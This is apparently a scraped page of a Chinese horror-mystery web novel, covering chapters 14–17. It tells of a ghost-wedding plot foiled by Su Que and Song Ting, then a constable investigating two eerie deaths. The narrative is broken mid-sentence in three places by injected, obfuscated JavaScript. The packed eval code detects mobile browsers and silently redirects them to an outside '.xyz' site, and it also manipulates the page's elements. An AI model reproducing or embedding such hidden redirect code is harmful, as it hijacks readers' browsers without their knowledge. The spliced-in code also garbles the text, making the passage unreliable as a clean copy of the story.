“……你们，不怕死吗？”新娘母亲用袖子擦了擦脸上的眼泪，抽泣着问道。 宋停突然睁开了眼，哈哈笑了几声：“你可能还不太了解我们。我会来到这里，实在是误打误撞，因为我当时活腻了，在自尽来着。而面前这位苏公子，和他一起这么些天，我就没见过他有怕的时候。” “那你们，到底想怎样？”新娘父亲也换了表情，低声逼问。 “真相。”苏却终于开口，声音平直，没有任何情绪起伏。 新娘父母同时浑身一颤，脸上血色尽褪，仿佛听到了一句恐怖的咒语。 犹豫了再三，新娘母亲突然一下抓住苏却的衣角，哭声绝望：“我们没想害人，我们只是，只是想让女儿活下去啊！” “那术士，他会妖法。城主被他骗了，什么都听他的……少城主没了，城主就疯了……术士说能复活，城主就什么都肯做。” 新娘父亲猛地抬起头，血红的眼睛死死盯着苏却：“那术士，是魔鬼！两个孩子本来情投意合……少城主，多好的孩子啊……现在却人不人鬼不鬼一样地困在那里，说是死而复生，可这复活，是要拿活人的命来填的啊！” 他情绪激动起来：“我们被抓来关在这里，他们用女儿的命逼我们，又用我们的命逼她，逼我们答应冥婚，逼我们，做这些伤天害理的东西……” “这手艺……呵……”他的哽咽声似哭似笑，抬起一只手，“我们家世代扎纸，做的都是安抚亡魂、慰藉生人的活计……从未想过，这手艺有一天，会变成害人的工具。” “所以，对不住……”他拉着妻子就要跪下来给苏却和宋停磕头，“真的对不住，你们不死，少城主就活不过来，我们就要一直做这些事……” “求求你们成全我们一家人吧。” 电光石火间，苏却余光瞥见新娘父亲藏着的另一只手一瞬抽出。 寒光一闪。 竟是一柄打磨锋利的竹篾刀，直直向她小腹刺来。 与此同时，那新娘母亲五指成爪，抓向一旁毫无防备的宋停的咽喉。 “叮！” 一声金属碰撞声。 苏却的反应极快。 在那竹篾刀即将触及苏却衣料的刹那，匕首已然先精准地挡住了这一刺。 她手腕一旋一推，巨大的力道震得新娘父亲手掌发麻。 竹篾刀脱手，在空中飞快转向，然后噗呲一声，刺入新娘母亲手掌。 “苏公子好身手啊，多谢相救。” 宋停脸上并无谢意，慢悠悠地起身，拍了拍屁股上的灰尘：“怎么着？软的不行，就来硬的？求人成全的方式，就是送我们去死？” 苏却将刃尖指向新娘父亲，“你们想活，却要我们死，和那个术士又有什么区别？” 突然，新娘母亲像是想起了什么，血淋淋的手抓住她丈夫的胳膊：“入夜了！今晚又是……是不是，是不是……” 她不敢说下去，只是惊恐地望着苏却。 “我亲自接的亲，是你们女儿，而且现在，估计已经在府里了。”苏却上前逼近一步，“再耽搁一会儿，后果难料。” 新娘母亲眼泪汹涌而出：“……术士答应过我们的，他说只要死够了人，复活了少城主，我们再风风光光地把女儿嫁过去……可现在……” 她的话没说完。 可意思非常明白。 按原计划，城主和术士杀人为少城主做祭品，让他成为鬼人，与新娘结成冥婚，此事就了结了。 可现在真新娘提前入府，少城主也未醒来，计划已乱。 破局的关键，也许就是阻止这一件事的发生。 那么，救出新娘，是必走的一步。 “走。”苏却道。 夫妻俩同时问：“去哪？” “救你们女儿。” “我做的纸人我知道。虽是纸，但人血点睛后都被术士操控，不知疼痛，力大无穷……你们斗不过的。”新娘父亲伸手阻拦。 苏却声音不高，无比坚定：“想活，就要赌上一切，去试。” …… 到喜堂附近的时候，仪式已经进入尾声。 一路上苏却又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279586|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉又拽脚程飞快，宋停却不知什么时候掉了队，未见其踪影。 那口巨大的黑漆棺木依然停在喜堂最中央，棺盖已然合上。 术士背对着他们正在念动法咒，而几个仆从已经准备在侧，随时敲钉封棺。 赵文安穿着喜服，脸色虽然不好，但隐隐有着如释重负的笑容。 城主面色沉重，眼神复杂地望着那口棺材，夫人则已哭得几乎昏厥过去，被侍女搀扶着。 其他人皆站在一侧，面色各异，沉默地看着这一切。 只是。 天色好像突然变亮了许多。 术士看看罗盘又看看天，已到嘴边的封棺二字，又硬生生地咽了下去。 那分明是冲天的火光。 方向…… 宋停烧了什么？纸人吗？ 术士咬破自己的手指，闭眼往眼皮上一抹，随后慌慌张张到城主面前耳语了几句话，城主面色大变，和术士二人匆忙离开。 苏却松开手，那对夫妇立刻冲向喜堂中央。 “爹娘来了！”新娘母亲哭喊着，不顾手掌被贯穿的伤口，和新郎父亲一起，拼了命地推着还没合上的厚重棺盖。 这突如其来的变故让喜堂内所有人都惊呆了。 赵文安脸上的笑容僵住，连连后退。 “苏苏苏苏苏却？你……你怎会在此？！” “要活着，就帮忙。”苏却扫了众人一眼，左手推盖。 “拦住他们！”城主夫人率先反应过来，尖声叫道。 几名仆从立刻动了起来，面无表情地朝着新娘父母扑去。 “还愣着干什么？”苏却一声冷喝，惊醒了彭绍方几人，“帮忙！” 彭绍方一咬牙，率先冲上前拖住一名仆从。 袁慈邈和吴少凌也立刻跟上，虽然腿脚牵绊不甚熟练，但好歹也拖住了另外两个。 棺盖推开后，新娘静静地躺在里面，双目紧闭，面色苍白，但胸口尚有微弱起伏。 想是术士的控制还没过去。 苏却二话没说直接跳进棺材。 她托出新娘，新娘父母马上接过，背在身上。 与此同时，苏却的目光却落在了棺内另一侧。 那少城主穿着新郎喜服，面色青白、毫无生气。 术士的假偶？ 不，和真新娘一起要被钉入棺材，绝不可能是假的。 随即，她又推出少城主的尸体，彭绍方愣了一下，连忙接过头这一端，袁慈邈从苏却手里接过脚这一侧。 不知什么时候，那几名仆从已经被推入一旁的沸水锅中。 城主夫人哑着嗓子在原地哭喊。 场面一度十分混乱。 宋停在此时却满脸黑灰，呼呲呼呲地跑进来，见此情景，边咳边笑道：“哟，咳咳咳，你们咳咳，好大的阵仗啊。” 苏却轻蹬棺材板一跃而出，轻哼一声却面无表情：“彼此彼此。” 赵文安跟在他们身后疯狂大叫：“你们要干什么！反了吗？你们疯了吗？苏却是疯狗你们也是？你们不想……” 他的叫声突然变成了呼痛的尖叫，几声过后就再也没动静了。 在场所有人，亲眼看见。 周远至。 毫无预兆地伸出手。 将赵文安，推入了沸水锅中。 15. 阴亲（十五） 阴亲（十五） 金玉明盯着翻滚的沸水，怔在原地。 倒是周远至就像无事发生一般，神色如常，还搭了手帮彭绍方和袁慈邈抬少城主的尸体。 “我们现在要去哪？”吴少凌不知所措。 宋停顺手拿了桌案上的粗蜡烛，道：“一个字，逃！” 袁慈邈叹气：“那要逃到哪里去呢？整座城都是他们的，我们根本无处可逃。” 苏却从沸水巨锅底下拣了块柴火，往仆从的面前挥了一挥，果不其然，他们都往后缩了一缩，再无更多动作。 她看向众人：“之前搜府的时候，你们有没有见过池塘？” “有有有我见过，离这里不远，跟我走。”吴少凌道。 城主夫人拦在门口，想挡一挡。 可还没说什么，就被彭绍方一个肘击晕了过去。 又不能将她随意丢下，带着走，之后也能多一个谈判的筹码。 只是。 新娘父母背着一个。 袁慈邈周远至抬着一个。 吴少凌走在前面带路。 宋停手里除了蜡烛也不知道七七八八还拿着什么。 苏却有伤还拿着火把。 彭绍方跟金玉明使了半天眼色他也没看见，只能咬了咬牙，把城主夫人扛在肩头，赶忙跟上。 一路上，苏却言简意赅，把事情始末跟众人说了一遍。 大家也纷纷把线索叠在一起讨论。 虽有些小细节依旧未能解释完全，但也能得出，劝城主放弃复活儿子，放弃炼制鬼人，应该就是唯一的生路。 术士可以控制纸人，有一支数量庞大的纸人兵团。 而纸人怕水又怕火，他们又手握少城主的尸身这张王牌，附带一个城主夫人。 即便水淋淋地带着塘底淤泥与死水的臭气，从池塘上来有些狼狈。 但起码这一仗，还算富裕。 随后，他们一行人，背的继续背，扛的继续扛，抬的继续抬，跟着苏却，穿过了密道，回到了秘院。 大火已经基本扑灭。 院子里，狼藉遍地。 到处都是被烧得七零八落的纸人。 纸片的豁口处露着焦黑的竹架，有的少了胳膊少了腿，有的已经被烧了大半张脸。 可两只布满血丝的眼球看起来黏糊又湿润，像蛆虫一样蠕动着，瞳仁依然还在来回转动，死死地盯着他们的一举一动。 很快，他们便听到了齐刷刷的步伐声。 纸人兵团迅速将他们里三层外三层地围了起来。 宋停感叹道：“嗬，真不少，连着房子一起烧也烧不完啊？” “诸位。” 城主沉着脸，从外侧走进纸兵的包围圈。 “对你们，我是诚心诚意地邀请，尽心竭力地招待，自问并无得罪你们之处，不知为何，你们要挟我妻儿，烧我府邸，坏我大计。你们究竟想要做什么？” 彭绍方闻言极为不爽，怒问：“这话得我们问你，问你们究竟要做什么？今天死一个，明天死一个，要死多少人你们才会满意？” “那是他们该死，如何能怪我？” 还没等到彭绍方回复，城主就继续道：“我儿新妇无故被人掀了盖头，非礼勿视，该死。爱出风头却又力不能及，以纸人假新娘糊弄我们，鱼目混珠，该死。而有些人本该死，却没死，你们运气已是不错。” 彭绍方哑口无言。 袁慈邈激动道：“可你的相邀，何曾问过我们的意愿？我们被迫来此，已是步步惊心，如履薄冰，又有谁天生该死？是你们，以真假新娘相诱，将我等视为祭品，一步一计招招致命防不胜防。” “你儿子的命是一条命，有你这位父亲为他殚精竭虑，甚至不惜逆天改命。那，我们的命就不是命吗？” 他的声音逐渐拔高，眼中含泪。 “你可想过，我们背后也有年迈苍老的父亲母亲，他们也会日夜悬心，倚闾而望……而你，只顾全你自己的丧子之痛，全然不顾他人家破人亡，自私自利，不该死吗？！” 连番质问下，城主身形一僵，瞬间苍老了不少。 他不由自主地看向昏迷的妻子，又看向儿子的尸体，再看向眼前这些年轻而愤怒的面孔，第一次，露出了迷茫的神情。 “城主，功成在望。计谋既然已被识破，众人亦都在此地，不如一举拿下。”术士开口道，“如此，唤回少主魂魄便指日可待了。” 闻言，宋停狠狠地大笑了几声，摇了摇头。 术士大怒：“你笑什么？” “我有个问题，实在困扰已久，今日不问此生遗憾。”宋停提着嘴角却面带惋惜，“我想问问城主，你是不是很恨自己的儿子啊？不然为什么要用纸人糊弄他，还要把他变成不人不鬼的怪物？他若魂魄有知，真得好好谢谢这一份再造之恩。” 术士赶忙劝道：“城主，现在乃关键，不可功亏一篑啊，我们……” “闭嘴！”苏却从怀里掏出一物，丢向那边。 术士手一挥，就将东西打落在地上。 是一本书。 《百战奇略》 城主愣了一下，几步走过去，蹲下，小心翼翼地拾起，手指抚过封页。 苏却没有猜错，此书虽旧但却珍藏，必是最爱。 她看着城主动作，一字一顿道：“他，不会回来，永远都不会。” 因为翻开封页，里面写着一段话： 夫存世者，以仁心为贵。 若怀骄戾而无悲悯，此乃凶器，非人哉。 为将若此，纵兵如纵火，必焚己身；用谋如用刃，终戕民心。 斯乃穷兵极武，亡无日矣！ 城主轻轻地念着，痛哭出声。 “老爷！”城主夫人此刻也醒了过来，看到这一幕，扑到他身边声泪俱下，“我们放弃吧，让他安心走，让他安息吧！我求求你了……” “别说了，别说了……”城主双手颤抖，声音嘶哑，“都……停下吧……停下。” 术士一直冷眼旁观，此刻见城主终于放弃，面具下传来一声哼笑。 “停下？”他后退几步，将桃木剑指向众人，“祭品已备，阵法将成，岂是你说停就停？既然尔等愚不可及，不愿见证神迹，那便……都成为鬼人苏醒的食粮吧！” 他口中念动咒语，声音急促而尖锐。 霎时，院子里那些静立待命的纸兵，眼珠中爆出血红色的光。 它们齐刷刷地转动头颅，锁定了院中所有的活人，迈着僵硬的步子，围拢过来。 “大家小心。”彭绍方喊道，“我们有火把，身上又湿，纸人奈何不了我们。” 可苏却还是低估了纸人的能力。 此刻被控制的纸兵根本无害怕可言，一个倒下另一个就接上，反正即便玉石俱焚，他们也数量占优。 吴少凌的手因为没来得及收回，被纸兵触碰后，竟失去了控制般再不能动弹，活生生地被撕了一条手臂。 撕心裂肺的叫声响彻天际。 就在这时！ 一道红色的身影，如同扑火的飞蛾，从阴影中冲向他们，径直撞向纸兵的围墙。 是那个人皮新娘。 她的盖头早已不见，露出那张与新娘长得一模一样的脸，精致，却无生气。 “把火把给我。你们蹲下，靠紧一点，相信我……”随后，她把什么东西罩在了他们的头顶。 和苏却眼神交汇时，她努力挤了一个非常难看的笑容，皱着眉，瘪着嘴，却努力勾着嘴角，眼神从苏却那处最终移到了真新娘的身上。 她说：“还好，我们都没有死。” 下一刻。 “轰——！！！” 她的身体猛烈地颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284802|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖，紧接着，是冲天而起的烈焰，吞没了她自己和最内圈的所有纸兵。 纸遇明火，火光熊熊。 纸兵再也没有了攻势，火焰的翻滚让包围出现了大范围的空档。 “走！”苏却道。 她发现人皮新娘盖在他们头上的，是那张醉酒人的人皮。 因为被术士控制，她杀了醉酒人。 挖眼剥皮后，她原以为，自己可以借此摆脱宿命，成为一个可以真正活着的人。 是不是，如果当初自己没有揭穿她，她还可以“活”在她自己的沾沾自喜里，而不是像现在…… 苏却第一次有些愧疚和后悔。 “走！”她再一次喝道。 听到苏却的声音，众人如梦初醒，搀扶拉扯着，紧随其后。 她回头望了一眼在火焰中逐渐化为灰烬的红影和纸兵，随即转身，身影消失在密道之中。 …… 术士消失了。 少城主的尸体还给了城主夫妇，说是要挑一个好日子好时辰，安排下葬。 新娘醒了，对着苏却笑了笑，和父母一起再三谢过，一起回家。 总算是结束了。 最后救了他们的，竟然是那个第一天就已惨死的，连姓名都不知道的，醉酒人。 …… 回到客栈，掌柜好似已经久候多时。 他意味深长地看了一眼苏却，眼神扫过众人。 “抱歉诸位，”他笑意未及眼底，“今日城中有变故，故城主宣布喜宴取消。楼上已经备好了热水，诸位早些安置，我们后会有期。” 说罢，便凭空消失在账台之后。 袁慈邈赶紧拿了药，为吴少凌包扎伤处。 吴少凌虽疼痛，但他看得很开，觉得自己多次遇险逃脱，实在幸运。 众人的神情终于有了几分的放松。 只是没人再搭理周远至。 苏却坐在客栈门槛上，面对着外面的黑暗，坐了很久。 宋停洗完澡从楼上下来，坐在她旁边，对着她笑了笑：“怎么，还有心事？” 苏却没理他。 “可是，苏却，我很佩服你。你找到了你能活下去的，唯一的，也是最好的办法。” 苏却呼吸微微一滞，并未接话。 他自顾自继续道：“我想你应该早就发现了，其实这整件事，自你们踏入此地起，那暗中的目标，从来都是你。你们十个人，十天，好像并无不妥。可是他们忘了，第一天并没有喜宴，事实上，他们只有九场婚宴的机会，用来识破真相，或者……” “找到你——真正的新娘。” 宋停的声音不高，却字字清晰。 “为什么以骨为币的小城，会出现金银元宝作为嫁妆；为什么会对所有人拳打脚踢的新娘父母，唯独对屡屡冒犯的你多有留情；为什么新娘半夜要告诉所有人，让你成为末位去接她成亲……” “苏却，若不是我在接过木盒的瞬间，看见了你身着女装站在我床侧的幻境，我也不会去注意，这件事，还可能有第二种结局。” “新娘果然没有救错你，你也成功地完成了你的任务……” 苏却静静地听着。 良久，她只是极轻地笑了笑。 “那么你呢？” “我？”宋停长长叹了口气，“我不过就是一个求生无望，求死无门的活死人而已。” “那可惜了……”苏却起身回房，道，“早些休息。” 宋停也不再言语，仿佛方才那番对话从未发生过。 万籁俱寂，只有更漏声遥远地传来。 不知过了多久，一阵急促而熟悉的呼唤声，仿佛穿透了黑暗与梦魇，由远及近，越来越清晰： “头儿！苏头儿！您醒醒！您睡过头了！” 声音真切而焦急。 苏却猛地睁开眼。 16. 尘世（一） 尘世（一） 见外面天色大亮，苏却从床上坐起来。 不知是不是睡姿不佳还是半夜受凉，她总觉得自己的左肩有些僵硬。 听得门外一边高声嚷嚷一边使劲儿拍门的动静，她翻身下床，随手抓过搭在床头的公服外袍，披上。 一边活动着肩膀，一边走向门口。 “头儿，您……”门外那人显然没料到门会突然打开，扬起正要再次拍下的手掌一时没收住势，竟直直朝着苏却的面门挥了过来。 苏却几乎是本能反应，左臂向上一挡，架住了这冒失的一击。 来人是个年轻衙役，平日都跟着苏却，唤作孙惟，家中排行老五，大家就都叫他小五。 “头儿，对不住对不住！”小五见状赶紧收回手，讪笑着，呵了两口气搓了搓自己拍红的手掌，“我……我就是着急，毕竟以往这个点，您早巡完一圈回衙门了。今日迟迟不见你，张头儿就让我来瞧瞧……” “何事？”苏却打断他，问道。 小五这才想起正事，神色一正：“哦对！差点忘了正事！……城西那座老拱桥底下，发现了个醉汉，躺在桥洞里，瞧着……瞧着像是喝多了，夜里冻死在那儿的。张头儿已经赶过去了，让我赶紧叫您过去现场瞧瞧。” “冻死？”苏却系腰带的动作一顿，抬眼看向小五，“这个时节？” 虽已入冬，但夜间的寒气远不至于能轻易将一个活人冻死。 “是啊，邪门就邪门在这儿。”孙小五频频点头，“而且头儿，听说……那人的死相……实在有点瘆人，不像寻常冻死的。” 苏却已利落地将佩刀挂在腰间，闻言，手指微微停住。 她问：“你去了？” 他老老实实回答：“还，还没有，没来得及。” 她又问：“你听说？” 小五下意识地咽了口唾沫：“……一路上，确实都有人在讨论……头儿我错了！头儿，干我们这行得讲证据，我真的知错了头儿！” “你知道就好。”苏却迈步而出，“走。” …… 拱桥下，现场已被先到的衙役们用绳子粗略地围了起来。 一群百姓远远地站着，交头接耳窃窃私语，脸上既恐惧又好奇。 老捕头张贺正蹲在尸体旁，眉头紧锁，见苏却来了，站起身拍了拍手。 “来了？”张贺叹了口气，指了指地上躺着的尸体。 “身份不用查了，不是我们文城人，年纪轻轻无亲无故，脑子也不太好。平时总爱睡睡墙角桥洞，街坊有时可怜他就会给他扔几个铜板，他也只是笑，转头就去买酒喝，嗜酒如命呀。” 苏却问道：“可有不寻常？” “初步看了，周身没见着什么外伤，也没有打斗挣扎的痕迹。这儿的桥洞少有人来，附近就他一个人的脚印。估摸着，就是昨儿晚上灌多了黄汤，醉倒在这儿，没醒过来，夜里降温，就这么过去了。” 现场看起来确实简单明了。 一个潦倒的醉汉，几个东倒西歪的空酒坛，空气里弥漫着河水淡淡的腥气。 张贺的判断合情合理。 然而，苏却的目光扫过尸体的脸，表情凝固在最惊恐的瞬间，她几乎可以肯定事有蹊跷。 她虽年轻刚当上捕头没多少年，却有不少经验，见过各种死状。 冻死之人在临终前为保其心脉，血气会滞于内腑，体肤失温，筋络收引，反而牵引面皮，乃至唇角微扬，状若含笑。 她沉默地蹲下身，仔细检查死者的手指、口鼻、脖颈，甚至翻看了他的眼皮，确实未见明显外力痕迹。 她站起身，目光缓缓扫过桥洞下的每一寸地面，每一处泥地苔痕，试图找出任何一丝不协调的细节。 忽然，她的目光定格在桥墩侧面那片水域。 那里的水面，似乎有不正常的涌动。 一小串气泡上浮，变为一圈圈涟漪散开，不像鱼虾嬉戏。 几乎没有片刻犹豫，苏却的身体已然行动。 她疾步冲向河边，在众人惊愕的目光中，纵身跃入了河水之中。 “苏却！” “头儿！” 岸上响起几声惊呼。 初冬的河水已带着寒意，瞬间浸透了她的衣袍。 苏却屏住呼吸，很快，触碰到了一个沉甸甸的，不再挣扎的人。 她一把捞住对方的衣领，脚下用力一蹬，奋力将人拖向岸边。 小五和另外两个衙役才反应过来，连忙七手八脚地冲下河滩，帮忙将水里的人拖拽上岸。 被救上来的是个年轻男子，面色已冻得青白，嘴唇泛紫，四肢冰冷僵硬，探其鼻息，已是气若游丝。 “还有口气！快！帮他控水！找个干毯子来！”张贺经验老到，立刻上前，指挥着衙役们施救。 一番折腾后，那男子终于缓过来一口气。 剧烈地咳嗽，他从口鼻中呛出不少河水，胸口开始有了微弱的起伏。 可苏却心中更是疑云密布。 此人落水地点，距离发现醉酒者尸身的位置不过几步之遥。 而此刻，这桥洞之下，早已被闻讯赶来的衙役和好奇的街坊围得水泄不通。 若说他是失足落水，怎会无人察觉？ 若他是早已落水，在这众目睽睽之下，又如何能沉在水底许久才被发现？ 苏却抓着他的衣领，半跪在他面前端详着他浑身上下，看看是否有眉目可寻。 他的眼睫颤抖着，艰难地睁开了一条缝隙，虚弱地瞥了一眼，很勉强地笑了笑。 他的声音有气无力：“苏却，你怎么……还是这么……多管闲事……” 周遭瞬间一静。所有衙役都诧异地看向苏却。 苏却一愣，立刻松手，那人被重重摔在地上。 他吃痛闷哼一声，没叫，面部的血色却慢慢回转了过来。 他强撑着睁开眼，虚浮的目光，落在了浑身湿透，正在拧着衣上河水的苏却身上。 苏却迎着目光，回道：“嫌我多事，不如你再跳一次。” 她甩了甩手上的水珠，语气平静无波：“你死远点，我绝不会拦着。” 那男子闻言，笑意更深。 他抬起还在微微发抖的手，指了指苏却，又指了指自己，声音不大却很清晰。 “苏却，你记住了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288961|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我叫宋停。” “你救了我一命，从今往后，你，可得对我负责。” 苏却还没来得及说什么，只听得远远有人一路跑来。 “张头！张头！不好了——！” 众人循声望去，只见一个衙役跌跌撞撞地跑来，脸色煞白，气喘吁吁，也顾不上别的什么，直接扑到老捕头张贺身边，踮起脚凑到他耳边急促地低语了几句。 张贺初时还皱着眉侧耳听，随即脸色骤然一变，朝着手下们一挥手，声音急促。 “快！收拾收拾！把尸身裹好扛回去！”他指了指地上的尸体，又烦躁地搓了把脸，看向苏却，语气带着惯常的无奈，“小苏，这事儿……怕又得麻烦你娘多费心了。” 衙门里的人都懂。 苏却的母亲是文城县出了名的棺材西施，平时兼做些收敛、缝补尸身的活计。官府有些无主尸首或死状不雅、需要整理的门面活儿，常会花些银钱请她帮忙处置。 苏却点头，算是应下。 衙役扶着虚弱的宋停走过来。 宋停无力地低垂着头，湿发遮住了大半张脸，看不清神情。 “张头，此人……”衙役刚开口。 张贺却急急打断：“放下放下，就让他自己待在这儿！我们哪里顾得上他？小苏你赶紧换衣服跟我走！” 他语气里尽是焦灼，显然刚才衙役传来的消息非同小可。 穿过热闹的街市，张贺的脚步丝毫未缓，反而越来越快，直接绕过了县衙的方向，朝着城东富户聚居的区域奔去。 苏却心中疑惑，却并未多问，只是沉默地跟上。 最终，张贺在一处宅邸前停住脚步。 门前早已有家丁模样的人焦急地张望，见到张贺，如同见了救星，慌忙打开侧门迎他们进去。 一进院子，一股压抑的气息便扑面而来。 丫鬟仆役个个面色惊惶，步履匆匆，低头不敢言语。 管家模样的中年人迎上来，眼圈通红，声音发颤：“张捕头，您可算来了。老爷和夫人已经，已经快不行了……” 张贺脸色铁青，一边快步往里走，一边压低声问：“到底怎么回事？明明昨天还好好地……” “就在半个时辰前，丫鬟去送参茶，就发现，发现小少爷他……”管家泣不成声，不再言语。 张贺不再多问，沉着脸，引着苏却径直穿过回廊，来到一处陈设华丽，此刻却死气弥漫的卧房前。 房门大开，里面传来妇人撕心裂肺的号哭声。 张贺在门口顿了顿，深吸一口气，才迈步进去。苏却紧随其后。 房内装饰精致。 县令赵政寅正瘫坐在床边，仿佛一夜之间老了十岁，面色灰败，眼神空洞。 而有一妇人半身扑在床上，哭得几乎背过气去。 床上，锦被凌乱，一个身穿绸缎寝衣的年轻男子仰面躺着，一动不动。 正是县令的宝贝小儿子，赵文安。 他的死状，一下子攫住了苏却的全部视线。 五官扭曲，面目狰狞。 仿佛被活活吓死一般，与方才桥洞下那个冻死的醉汉如出一辙。 17. 尘世（二） 尘世（二） 张贺显然也注意到了这一令人毛骨悚然的相似之处。 他倒吸一口凉气，脸色变得更加难看，下意识和苏却交换了一个眼神。 “你……过来。”县令赵政寅指了指苏却，声音干涩无力，“看看，有无不妥……” 苏却点头，例行勘验。 这间屋子进出的人太多，如若真的有什么，可能也已经被破坏了。 不过屋子门窗内闩完好，闩槽严丝合缝，并无丝毫撬动留下的毛刺损痕。 窗边薄薄一层积尘均匀，没有他人强行翻窗而入的可能。 柜子抽屉无翻动痕迹，且金银钱财放置随意，也不像有人谋财害命。 继而检视尸身。 那妇人捏着锦帕擦着眼泪，被丫鬟扶着，为苏却让出了一点地方。 苏却以指背轻触其颈侧及额面，尸身尚未完全僵硬但已是触手冰凉，死亡约莫已有一个时辰以上。 小心翻动其头部，拨开发丝，细查发根、耳后、脖颈。只见皮肤完好，并无勒掐伤痕，也未见针孔、击打或任何外伤。 唇色惨白，无发紫发黑，若要完全排除中毒，还要进一步再验。 执起其双手，指甲修剪整齐，缝隙干净，无皮屑血污。 轻压其胸腹、四肢关节，骨肉完好，并无暗伤或骨折。 掀开寝衣一角，体表亦无异常斑点或痕迹。 床铺虽乱，却也无激烈挣扎的痕迹。 勘验至此，已经几乎可以断定无他人作案的可能。 表情有异这个情况的最合理解释，便是死于急症，死前比较痛苦，但发作较快，便只留住了一瞬的惊恐与无力。 她退后一步，向县令如实禀报。 “我不听这些……”赵政寅当下已经无力说更多的话，但他显然并不满这个答案，只对众人道，“三天……就给你们三天。查清楚！” …… 很快，属于赵文安的这个小院就清了场，仆从丫鬟一干人等全都撤了出去。 张贺拍了拍站在院门口的苏却肩膀。 “唉，你也别太较真了。到时候如果真找不到行凶人，就去赌场或者码头那边找个惯犯顶了罪就完事了，反正他只是要个让他发泄的结果。” 苏却一言未发。 “要我说，这个人死了正好，算是为民除一害。你应该知道此人吧，这下那群混混群龙无首，正好一锅端了。” 张贺在她耳边小声嘀咕道。 苏却虽早就听说过这位文城风云人物赵文安，今日却是第一次得见。 文城本算不得什么大地方，却因地处江河交汇之处，又人口众多，自给自足，加之往来商队络绎不绝，倒也富饶兴旺。 此刻苏却所在之地，遍地皆是豪宅大院，乃是富户云集之区。 而县令的家宅并不在城东。 据张贺说，这赵文安并非县令正室所出。 县令夫人蒋氏，乃是通判蒋家的女儿，为人爽利良善，更有才谋，没少为夫君赵政寅出谋划策，育有一儿一女。 而赵政寅呢，虽然后院清净，无甚莺莺燕燕，但在外头却养了几房外室，也都生养了子女。 这些外室但求富贵或安身，多年来与正室相安无事，从未闹出什么风波。 赵文安便是外室金氏之子，是赵政寅年过四十才得的孩子，自然是疼爱异常，视若珍宝。 可常言道，受宠之人必生骄纵。 那赵文安手下有着一大帮厮混于市井的无赖之徒。 这帮人平日里不是设局诈赌、偷鸡摸狗，便是强夺商贾财物，甚至光天化日之下欺辱良家女子。 更在漕运码头之上，以看护货船为名，行勒索之实，向来往商船收取例钱，种种恶行，如过江之鲫。 小五曾逮住过几个底下的小喽啰，可人刚押回衙门，还没等审问，上头的放人文令就已传到，只得眼睁睁看着人犯被当场开释，扬长而去。 至于赵文安本人，从不亲自出面沾手这些污糟事，平日里表现又胆气不足，昏聩懦弱，外头就都说是他那金家的姨表兄金玉明仗势欺人，狐假虎威。 “姨表兄？”苏却问。 “对啊，你来文城这几年，还不知道文城金家吗？”张贺瘪着嘴，左右瞟了一眼，才压低了声音道，“我跟你说这里头门道可大着呢。” 他身子微微向苏却倾斜，满是鄙夷，但又轻描淡写一句带过：“总之金家算是后起之秀财大气粗，也知恩图报，把最漂亮的女儿送给了赵政寅当外室。” “那走吧。”苏却道。 张贺不解：“去哪？” 苏却回道：“去知恩图报的金家看看。” “我的亲娘小祖宗！”张贺听罢肩膀都缩了起来，赶忙要来捂住苏却的嘴，顺便远远地喊了几个衙役，一起跟上了苏却的脚步。 金家就在这附近，跟这处宅子相隔不到两条街。 铜环叩在大门上的声音格外清晰，他们敲了很久的门。 良久，门内才传来一阵仓促的脚步声，接着门闩抽动，那扇门“吱呀”一声，被拉开了一条缝隙。 一个穿着体面、约莫五十岁上下的管家模样的男子探出半张脸，审视着，扫过几人的官服，谨慎问道：“您几位是……” “啊，”张贺上前一步，和气地笑着，“县令大人派我们过来，找金公子聊点事情，关于赵公子那边的。” 管家闻言，也对着来人笑了笑，随即略有歉意道：“原来是衙门的差爷。只是不巧，我家少爷今日身子有些不适，方才起身不久，精神头怕是还不济。几位官爷若不介意，还请在花厅稍候片刻，容老奴去通传一声。” 说着，他将朱门又拉开些，堪堪容几人侧身进入。 入门先是照壁，转过之后，眼前豁然开朗。 果然是富户。 庭院开阔，不见杂草，楼阁亭台，飞檐斗拱，气派非凡。 管家引着几人，拐入东侧一间布置雅致的花厅。 厅内光线明亮，地上铺着厚厚的锦毯，墙上挂着几幅山水画，柜格里陈列的玉器、瓷瓶虽不多，却样样精致。 几人才刚落座，便有丫鬟立刻奉上热茶，茶汤清亮，是上好的茶叶泡就。 并未等太久，厅外便传来脚步声。 只见金玉明穿着一身绸缎华服，外头松松垮垮地罩了件长衫，确实是一副刚起不久的模 